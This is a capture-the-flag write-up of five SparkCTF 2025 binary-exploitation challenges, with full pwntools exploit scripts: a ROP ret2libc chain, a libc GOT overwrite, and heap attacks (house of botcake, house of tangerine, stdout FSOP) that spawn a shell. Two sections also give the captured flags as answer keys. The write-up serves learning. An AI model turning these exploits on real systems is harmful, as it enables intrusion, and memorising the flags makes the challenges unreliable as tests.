SparkCTF 2025 | PWN writeups
brief solvers and explanations
The Notorious liB.I.C
__int64 quest()
{
char v1[64]; // [rsp+0h] [rbp-40h] BYREF
puts("What you need to find out? > ");
return gets(v1);
}
Description :
- no PIE
- we have
pop rdigadget - we can execute the quest above function
Plan :
- typical ROP chain to execute this : Puts(puts) to get puts address in libc , so we can calculate the libc.address
- restart
- ROP chain to do this : system(“/bin/sh”)
- gg
Solver:
from pwn import *
from time import sleep
context.arch = 'amd64'
def debug():
if local<2:
gdb.attach(p,'''
''')
############### files setup ###############
local=len(sys.argv)
exe=ELF("./main_patched")
libc=ELF("./libc.so.6")
nc="nc tcp.espark.tn 5087"
port=int(nc.split(" ")[2])
host=nc.split(" ")[1]
############### remote or local ###############
if local>1:
p=remote(host,port)
else:
p=process([exe.path])
############### helper functions ##############
def send():
pass
############### main exploit ###############
p.sendline("YES")
p.recvuntil("Now answer to prove you're down with the struggle: ")
rdi=0x0000000000400983
puts_plt=0x00000000004005f0
puts_got=0x601210
p.sendline(b"a"*0x40+p64(0)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(exe.symbols["quest"]))
p.recvuntil("out? > \n")
leak=u64(p.recv(6).ljust(8,b"\x00"))
libc.address=leak-0x80970
log.info(hex(libc.address))
debug()
p.sendline(b"a"*0x40+p64(0x0000000000601000+0xe00)+p64(rdi)+p64(next(libc.search(b"/bin/sh\x00")))+p64(0x0000000000400913)+p64(libc.symbols["system"])+p64(exe.symbols["quest"]))
p.interactive()
www
unsigned __int64 vuln()
{
char v1; // [rsp+Fh] [rbp-131h] BYREF
_QWORD *v2; // [rsp+10h] [rbp-130h] BYREF
__int64 v3; // [rsp+18h] [rbp-128h] BYREF
_QWORD *v4; // [rsp+20h] [rbp-120h] BYREF
_QWORD *v5; // [rsp+28h] [rbp-118h] BYREF
unsigned __int64 v6; // [rsp+138h] [rbp-8h]
v6 = __readfsqword(0x28u);
get_libc_range(&v4, &v5);
if ( !v4 || !v5 )
{
puts("Failed to find libc range!");
exit(1);
}
printf("Libc range: %p - %p\n", v4, v5);
do
{
while ( 1 )
{
printf("where ? ");
__isoc99_scanf("%lx", &v2);
if ( v2 >= v4 && v2 < v5 )
break;
puts("Error: Address not in libc range!");
}
printf("what ? ");
__isoc99_scanf("%lx", &v3);
*v2 = v3;
printf("Do you want to write again? (y/n): ");
__isoc99_scanf(" %c", &v1);
}
while ( v1 == 121 );
return v6 - __readfsqword(0x28u);
}
Description :
- challenge gives us the libc mapping range
- you can write a long to any address in the specified libc range (basically any writeable libc segment)
- you can write an indefinite number of times (we will inly need one though)
- we are given a ``win` function , binary has no PIE so we know its address
WHERE and WHAT to write :
- when playing this challenge , i didnt see the
winfunction at first so things got a little complicated for me xd . so i was looking for a full system(“/bin/sh”) chain , but we dont need that as we have a win function - having a win function , our target most probably should be a function pointer . somewhere in libc .
- one target can be some
*Libc Got Entry. just like normal binaries have Got entries that store the address of resolved functions , Libc also has Got entries that store some resolved functions , maybe from itself or some functions from the linker , that depends
Plan
- first let’s verify that we can write in these GOT entries . Again , just like normal binaries , libc also can also have the
Relrooption when compiling . we can check it with checksec . and verify that it’s notfull relro - what Got entry should we write , there are plenty of them , how to choose ? One solution can be to write in every one of them until somehow it gets called . A smarter way would be to disassemble some libc function and see which function aren’t getting called directly by that function . we can disassemble puts for example .
Dump of assembler code for function puts:
0x00007ffff7c87bd0 <+0>: endbr64
0x00007ffff7c87bd4 <+4>: push rbp
0x00007ffff7c87bd5 <+5>: mov rbp,rsp
0x00007ffff7c87bd8 <+8>: push r15
0x00007ffff7c87bda <+10>: push r14
0x00007ffff7c87bdc <+12>: push r13
0x00007ffff7c87bde <+14>: push r12
0x00007ffff7c87be0 <+16>: mov r12,rdi
0x00007ffff7c87be3 <+19>: push rbx
0x00007ffff7c87be4 <+20>: sub rsp,0x18
0x00007ffff7c87be8 <+24>: call 0x7ffff7c28500 <*ABS*+0xb4cb0@plt>
- lets take a loog at that last call to 0x7ffff7c28500 .
Dump of assembler code for function *ABS*+0xb4cb0@plt:
0x00007ffff7c28500 <+0>: endbr64
0x00007ffff7c28504 <+4>: jmp QWORD PTR [rip+0x1da70e] # 0x7ffff7e02c18 <*ABS*@got.plt>
0x00007ffff7c2850a <+10>: nop WORD PTR [rax+rax*1+0x0]
End of assembler dump.
- looks like it’s a standart plt function that calls out a GOT entry . just like that we found our target
- we can write our win address at 0x7ffff7e02c18 <ABS@got.plt>
Solver
from pwn import *
from time import sleep
context.arch = 'amd64'
def debug():
if local<2:
gdb.attach(p,'''
b* 0x00000000004014ba
c
b* _IO_wfile_overflow
''')
############### files setup ###############
local=len(sys.argv)
exe=ELF("./main")
libc=ELF("./libc.so.6")
nc="nc tcp.espark.tn 5515"
port=int(nc.split(" ")[2])
host=nc.split(" ")[1]
############### remote or local ###############
if local>1:
p=remote(host,port)
else:
p=process([exe.path])
############### helper functions ##############
def send():
pass
def write(where,what,restart=True):
p.recvuntil("where ? ")
p.sendline(hex(where)[2:])
p.recvuntil("what ? ")
p.sendline(hex(what)[2:])
p.recvuntil("Do you want to write again? (y/n): ")
if restart:
p.sendline(" y")
else:
p.sendline(" n")
############### main exploit ###############
p.recvuntil("Libc range: ")
libc.address=int(p.recv(14),16)
win=0x00000000004011e6
write(libc.address+0x21a098,win)
p.interactive()
retro
int vuln()
{
char buf[256]; // [rsp+0h] [rbp-100h] BYREF
puts("Welcome to the Spark service!");
printf(">> ");
read(0, buf, 0x200uLL);
return printf("You said: %s\n", buf);
}
Description :
- obvious BOF
- Pie is enabled , so we need leaks
- we have
pop rdigadget - no win function
Plan
- we only change the first byte of the return address , so we can both restart and leak the return address using the printf . the leaked address belong the the exeuctable .
- after getting the PIE leak and restart , it becomes a typical puts(puts) into system(“/bin/sh”) just like the first challenge
Solver
from pwn import *
from time import sleep
context.arch = 'amd64'
def debug():
if local<2:
gdb.attach(p,'''
b* vuln+103
''')
############### files setup ###############
local=len(sys.argv)
exe=ELF("./main_patched")
libc=ELF("./libc.so.6")
nc="nc tcp.espark.tn 6112"
port=int(nc.split(" ")[2])
host=nc.split(" ")[1]
############### remote or local ###############
if local>1:
p=remote(host,port)
else:
p=process([exe.path])
############### helper functions ##############
def send():
pass
############### main exploit ###############
p.send(b"a"*0x108+p8(0x16))
p.recvuntil(b"a"*0x108)
exe.address=u64(p.recv(6).ljust(8,b"\x00"))-0x1216
log.info(hex(exe.address))
puts_plt=exe.address+0x0000000000001030
puts_got=exe.address+0x3fb8
rdi=exe.address+0x0000000000001226
p.send(b"a"*0x100+p64(0)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(exe.symbols["main"]))
p.recvuntil(b"a"*0x100+b"\n")
libc.address=u64(p.recv(6).ljust(8,b"\x00"))-0x87bd0
log.info(hex(libc.address))
#debug()
ret=exe.address+0x00000000000011d0
p.send(b"a"*0x100+p64(exe.address+0x4000+0xe00)+p64(ret)+p64(rdi)+p64(next(libc.search(b"/bin/sh")))+p64(libc.symbols["system"]))
p.interactive()
Roller
a heap challenge with these functionnalities :
- allocate anything of size < 0x100
- free with the pointer not being nulled out : Dangling pointer
- show the contents of a chunk using printf : stops on null byte
Plan
- we can free a chunk into tcache then read it with show() »> heap leak
- we can free 7 chunks , they will fill tcache , if we free and 8th chunk it will be put into unsorted bin »> libc leak
-
the UAF vuln we have allows us to only free and show already freed chunks, show wont crush the program . but if we free the same chunk twice stupidly , the program will crush with
double free exception. so how do we bypass that and try to get overlapping chunks ?? - there is an attack known to this thing , that is called house of botcake . you dont need to understand the whole technique but just the part we need .
- what this technique does is make use of these bugs/features xD :
- when a chunk is put into unsorted bin (but is not the actual head of the chunk , meaning the chunk consolidated backwards with another chunk) , and when you try to free it again , there is a free spot in the tcache , it will not detect that it is already freed , and it will put into tcache .
- we use the technique explained above . and we get this layout : unsorted bin chunk of size(0x1c0) , the second half this chunk is in the tcache freelist of size 0xe0
- what we do allocate 0x100 (it will split the 0x1c0 chunk), that we the get a chunk that can modifie the contents of the second half
- we modife the fd pointer of the tcache freelist so it points to our target that we want to overwrite. we shouldnt forget about safelinking when writing the pointer
- i chose to overwrite stdout for RCE
Solver :
from pwn import *
from time import sleep
context.arch = 'amd64'
def debug():
if local<2:
gdb.attach(p,'''
x/20gx &cigs
''')
############### files setup ###############
local=len(sys.argv)
exe=ELF("./main_patched")
libc=ELF("./libc.so.6")
nc="nc tcp.espark.tn 5322"
port=int(nc.split(" ")[2])
host=nc.split(" ")[1]
############### remote or local ###############
if local>1:
p=remote(host,port)
else:
p=process([exe.path])
############### helper functions ##############
def send():
pass
def alloc(index,size,payload):
p.recvuntil("Enter your choice:")
p.sendline("1")
p.recvuntil("Enter the index: ")
p.sendline(str(index).encode())
p.recvuntil("How big is the cigarette ? ")
p.sendline(str(size).encode())
p.recvuntil("sing while rolling it:")
p.send(payload)
def free(index):
p.recvuntil("Enter your choice:")
p.sendline("2")
p.recvuntil("Enter the index: ")
p.sendline(str(index).encode())
def show():
p.recvuntil("Enter your choice:")
p.sendline("3")
############### main exploit ###############
for i in range(10):
alloc(i,0xe8,b"aaa")
for i in range(7):
free(i)
free(8)
free(7)
show()
p.recvuntil("[0] You sung: ")
heap=u64(p.recv(5).ljust(8,b"\x00")) << 12
log.info(hex(heap))
p.recvuntil("[7] You sung: ")
libc.address=u64(p.recv(6).ljust(8,b"\x00"))-0x203b20
log.info(hex(libc.address))
for i in range(6):
alloc(0x10,0xe8,p64(heap+0x390-0x68+8)+p64(libc.symbols["system"]))
free(8)
target=libc.symbols["_IO_2_1_stdout_"]
alloc(0x11,0x100,b"x"*0xe0+p64(0)+p64(0xf0)+p64(target^(heap>>12)))
#debug()
alloc(0x12,0xe8,p64(0)) # this
f=FileStructure(null=libc.address+0x2047a0)
stdout=libc.symbols["_IO_2_1_stdout_"]
l=0xe0
f.vtable=libc.symbols["_IO_wfile_jumps"]+0x18-0x38
f._wide_data=heap+0x390-0xe0
f.flags= u64(b"\x04\x04;sh".ljust(8,b"\x00")) #u64(b"\x04;sh\x00".ljust(8,b"\x00")) #0x68733bfbad4087 #u64(b"\x02;sh\x00".ljust(8,b"\x00")) 0x68733bfbad2887
f.fileno=1
f.chain=libc.symbols["_IO_2_1_stdin_"]
f._IO_read_ptr=stdout+0x83
f._IO_read_end =stdout+0x83
f._IO_read_base=0 #stdout+0x83
f._IO_write_base=stdout+0x83
f._IO_write_ptr=stdout+0x83
f._IO_write_end=0 #stdout+0x83
f._IO_buf_base=stdout+0x83
f._IO_buf_end=stdout+0x83+1
print(len(bytes(f)))
alloc(0x13,0xe8,bytes(f)) # stodut
p.interactive()
## SparkCTF{3b09b183c6218152a3f2e2fba0d8f570f271df71926fff48f17d90eb4b7fa529}
tajin
another heap challenge with the following menu :
- allocate of whatever size
- edit with fix read size 0x1000 : Heap overflow
- show : prints contents of chunk
notes :
- no free function despite being a heap challenge xD
- very decent overflow which should make life easier
Plan :
- its obvious by now that we need to trigger free and somehow end up corrupting tcache
- our target in the heap that we can overwrite (other than the chunks themselves which are useless) is the
top chunkthat indicates how much of the heap is still left . -
we can look up some attacks on this top chunk , one attack that looks like just what we need is house of tangerine
- what this attack does is basically change the size of the wilderness (how much is left in the heap , supposedely) , into something small like 0x500 or something similar , but it needs to still be page aligned when you sum it with it’s address .
- lets suppose we changed it to 0x500 , when we request to allocate something bigger , like 0x600 , malloc will think it ran out of memory , it s_brk another heap (dont matter for this attack) , and the 0x500 chunk that malloc thinks is left , instead of wasting (which can lead to fragmentation) , it frees it .
- just like that we trigger free or controllable sizes of chunks
-
we do this attack 3 times (we can do it in 2 or even 1 ema taksir ras)
- first one to free a chunk of size 0x2e0 (7aja haka) , this will be put into tcache »> we can get a heap leak
- second one to free a chunk of size > 0x400 to be put into unsorted bin »> we get libc leak
- we free a chunk of same size in attack 1 to corrupt its tcache to our target
- again i chose stdout FSOP for RCE
Solver :
from pwn import *
from time import sleep
context.arch = 'amd64'
def debug():
if local<2:
gdb.attach(p,'''
x/20gx &array
''')
############### files setup ###############
local=len(sys.argv)
exe=ELF("./main")
libc=ELF("./libc.so.6")
nc="nc tcp.espark.tn 4595"
port=int(nc.split(" ")[2])
host=nc.split(" ")[1]
############### remote or local ###############
if local>1:
p=remote(host,port)
else:
p=process([exe.path])
############### helper functions ##############
def send():
pass
def alloc(size,payload):
p.recvuntil(">> ")
p.sendline("1")
p.recvuntil("Size: ")
p.sendline(str(size).encode())
p.recvuntil("Data: ")
p.send(payload)
def edit(index,payload):
p.recvuntil(">> ")
p.sendline("2")
p.recvuntil("Index: ")
p.sendline(str(index).encode())
p.recvuntil("Data: ")
p.send(payload)
def show(index):
p.recvuntil(">> ")
p.sendline("3")
p.recvuntil("Index: ")
p.sendline(str(index).encode())
############### main exploit ###############
alloc(0xa00,b"a"*0xa00+p64(0)+p64(0x361)) # 0
alloc(0x500,b"cc") #1
edit(0,b"a"*0xa10)
show(0)
p.recvuntil(b"a"*0xa10)
leak=u64(p.recv(5).ljust(8,b"\x00"))<<12
log.info(hex(leak))
### our available chunks are 0x361 in tcache
alloc(0x500,b"a"*0x500+p64(0)+p64(0x000000000005e1)) #2
alloc(0x600,b"22222") #3
edit(2,b"a"*0x510)
show(2)
p.recvuntil(b"a"*0x510)
libc.address=u64(p.recv(6).ljust(8,b"\x00"))-0x21ace0
log.info(hex(libc.address))
edit(2,b"a"*0x500+p64(0)+p64(0x5c1))
size=0x600+(0xe0-0x40-0x20) # -0x20
#alloc(size,b"2"*size+p64(0)+p64(0x341))
alloc(size,b"2"*size+p64(0)+p64(0x361)) # 4
alloc(0x1000,b"9999") # to push
stdout=libc.symbols["_IO_2_1_stdout_"]
target=stdout
log.info(hex(target))
edit(4,b"2"*size+p64(0)+p64(0)+p64(target^((leak+0x43ca0)>>12)))
alloc(0x330,b"aaa")
f=FileStructure(null=libc.address+0x21b000+0x1000)
l=0xe0
f.vtable=libc.symbols["__GI__IO_wfile_jumps"]+0x18-0x38
f._wide_data=stdout+0xe0-0xe0
f.flags= u64(b"\x04\x04;sh".ljust(8,b"\x00")) #u64(b"\x04;sh\x00".ljust(8,b"\x00")) #0x68733bfbad4087 #u64(b"\x02;sh\x00".ljust(8,b"\x00")) 0x68733bfbad2887
f.fileno=1
f.chain=libc.symbols["_IO_2_1_stdin_"]
f._IO_read_ptr=stdout+0x83
f._IO_read_end =stdout+0x83
f._IO_read_base=0 #stdout+0x83
f._IO_write_base=stdout+0x83
f._IO_write_ptr=stdout+0x83
f._IO_write_end=0 #stdout+0x83
f._IO_buf_base=stdout+0x83
f._IO_buf_end=stdout+0x83+1
debug()
alloc(0x330,bytes(f)+p64(libc.address+0x21b860+8-0x68)+p64(libc.symbols["system"]))
p.interactive()
## SparkCTF{b27562cf8ef93a1663e16cc1128686ba03985d2284a13eec04cba69ad9034e39}